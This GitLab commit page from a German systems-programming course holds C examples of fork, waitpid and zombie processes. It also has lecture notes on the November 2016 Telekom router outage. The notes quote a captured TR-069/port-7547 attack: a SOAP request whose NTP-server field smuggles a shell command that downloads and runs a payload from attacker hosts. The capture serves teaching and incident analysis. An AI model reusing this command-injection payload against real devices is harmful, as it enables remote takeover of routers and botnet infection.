Skip to content
Snippets Groups Projects
Commit f51e0d98 authored by Peter Gerwinski's avatar Peter Gerwinski
Browse files

Notizen, Beispielprogramme und Tafelbild 1.12. und 8.12.2016

parent 30aa3be5
Branches
No related tags found
No related merge requests found
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){
pid_t pids[10]; // Platz für 10 Prozess-IDs (die Kindprozesse)
int i; // Laufvariable
for (i = 0; i < 10; ++i) {
// Der Vaterprozess erzeugt nun einen Kindprozess,
// welcher unabhängig vom Vaterprozess mit der
// erneuten Ausführung des Programms beginnt.
// Ein Kindprozess erzeugt keinen Fork von sich selbst.
pids[i] = fork();
if (pids[i] == 0) {
// dann befinden wir uns in einem der 10 Kindprozesse
// Der erste Kindprozess wartet 10 Sekunden und jeder
// weitere Kindprozess wartet 1 Sekunde kürzer als der
// vorige.
printf ("%d BRAINS! ", i);
sleep(10-i);
exit(0); // Kindprozess erfolgreich beenden
}
}
//
// hier kommt nur der Vaterprozess vorbei
for (i = 0; i < 10; ++i){
// Der Vaterprozess wartet nun, bis der Reihe nach jeder
// seiner 10 Kindprozesse beendet ist. Leider wird auf das
// Kind mit der längsten Wartezeit zuerst gewartet. Obwohl
// die anderen Kinder längst erfolgreich beendet wurden,
// blockiert das erste Kind eine Bereinigung der Prozesstabelle
waitpid(pids[i], NULL, 0);
}
//
// while (1);
return 0; // Vaterprozess erfolgreich beenden
}
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){
pid_t pids[10]; // Platz für 10 Prozess-IDs (die Kindprozesse)
int i; // Laufvariable
for (i = 0; i < 10; ++i) {
// Der Vaterprozess erzeugt nun einen Kindprozess,
// welcher unabhängig vom Vaterprozess mit der
// erneuten Ausführung des Programms beginnt.
// Ein Kindprozess erzeugt keinen Fork von sich selbst.
pids[i] = fork();
if (pids[i] == 0) {
// dann befinden wir uns in einem der 10 Kindprozesse
// Der erste Kindprozess wartet 10 Sekunden und jeder
// weitere Kindprozess wartet 1 Sekunde kürzer als der
// vorige.
printf ("%d BRAINS! ", i);
sleep(10-i);
exit(0); // Kindprozess erfolgreich beenden
}
}
//
// // hier kommt nur der Vaterprozess vorbei
// for (i = 0; i < 10; ++i){
// // Der Vaterprozess wartet nun, bis der Reihe nach jeder
// // seiner 10 Kindprozesse beendet ist. Leider wird auf das
// // Kind mit der längsten Wartezeit zuerst gewartet. Obwohl
// // die anderen Kinder längst erfolgreich beendet wurden,
// // blockiert das erste Kind eine Bereinigung der Prozesstabelle
// waitpid(pids[i], NULL, 0);
// }
//
// while (1);
return 0; // Vaterprozess erfolgreich beenden
}
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){
pid_t pids[10]; // Platz für 10 Prozess-IDs (die Kindprozesse)
int i; // Laufvariable
for (i = 0; i < 10; ++i) {
// Der Vaterprozess erzeugt nun einen Kindprozess,
// welcher unabhängig vom Vaterprozess mit der
// erneuten Ausführung des Programms beginnt.
// Ein Kindprozess erzeugt keinen Fork von sich selbst.
pids[i] = fork();
if (pids[i] == 0) {
// dann befinden wir uns in einem der 10 Kindprozesse
// Der erste Kindprozess wartet 10 Sekunden und jeder
// weitere Kindprozess wartet 1 Sekunde kürzer als der
// vorige.
printf ("%d BRAINS! ", i);
sleep(10-i);
exit(0); // Kindprozess erfolgreich beenden
}
}
//
// // hier kommt nur der Vaterprozess vorbei
// for (i = 0; i < 10; ++i){
// // Der Vaterprozess wartet nun, bis der Reihe nach jeder
// // seiner 10 Kindprozesse beendet ist. Leider wird auf das
// // Kind mit der längsten Wartezeit zuerst gewartet. Obwohl
// // die anderen Kinder längst erfolgreich beendet wurden,
// // blockiert das erste Kind eine Bereinigung der Prozesstabelle
// waitpid(pids[i], NULL, 0);
// }
//
while (1);
// return 0; // Vaterprozess erfolgreich beenden
}
20161201/photo-20161201-150010.jpg

116 KiB

Großstörung bei der Telekom, 27.11.2016
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Berichterstattung bei Heise Online:
- https://heise.de/-3505820 - Großstörung im Telekom-Netz
- https://heise.de/-3506044 - Die Telekom prüft Hinweise auf Hackerangriff
- https://heise.de/-3506556 - BSI warnt vor weltweitem Hackerangriff auf DSL-Modems
- https://heise.de/-3507088 - Angreifer nutzten Lücke und Botnetz-Code
- https://heise.de/-3520212 - Großstörung bei der Telekom: Was wirklich geschah
Informationen zu dem TRE-069-Exploit:
- https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759
- https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/
Aktiver Angriff auf den TRE-069-Port, aufgefangen mit nc -l -p 7547
<NewNTPServer1>
`cd /tmp;wget http://tr069.pw/1;chmod 777 1;./1`
</NewNTPServer1>
Selbst durchgeführter Test: nc -l -p 7547
nc: listening on :: 7547 ...
nc: listening on 0.0.0.0 7547 ...
nc: connect to 46.4.31.171 7547 from
node-jcm.pool-125-27.dynamic.totbb.net (125.27.97.246) 44932 [44932]
POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7547
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 519
<?xml version="1.0"?><SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body> <u:SetNTPServers
xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd
/var/tmp;cd /tmp;wget http://binpt.pw/a;sh a`</NewNTPServer1>
<NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5>
</u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>
20161208/photo-20161208-144033.jpg

170 KiB

0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment